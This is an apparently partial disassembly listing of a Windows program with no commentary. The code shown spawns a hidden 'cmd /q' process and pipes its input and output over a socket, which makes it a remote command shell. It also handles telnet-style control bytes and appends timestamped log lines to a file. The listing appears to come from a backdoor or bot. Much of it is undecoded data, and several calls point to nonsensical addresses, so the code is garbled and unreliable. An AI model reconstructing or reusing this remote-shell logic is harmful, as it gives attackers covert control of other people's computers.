		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 2710000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 2660C61h
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 2660969h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 2680835h
		push	eax
		push	offset unk_434474
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344B4
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8BC68FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	26ECD7E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 25FB54E8h,	90EDEB02h
		dd 26F4E0E8h, 858D5002h, 0FFFFFD2Ch, 43452468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022CECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Ch, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22CEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43462868h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Ch,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345E868h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Ch, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345A4h, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 905359FFh, 2CE9DFE8h, 4006802h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 0E982E890h, 36FF022Ch, 0B00C15FFh, 75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	al, 2
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0F6B7E800h
		dd 39900225h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2CE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 0F5EFE890h, 8DFF0225h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 25F5BCE8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 2CE6DBE8h, 7D8B9002h,	0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 434694h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7468FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 6868096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022CE4h
		dd 3E8h, 0F29BE890h, 0E8570225h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 27700AFh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		call	near ptr 2670A7Ah
		nop
		lea	eax, [ebp-114h]
		push	offset asc_434E54 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E24
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	4AE89008h, 0FF0225F1h, 4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E84h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46BC0845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E6C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E5868h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DEC08h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2CE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0F468FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Ch, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357C868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
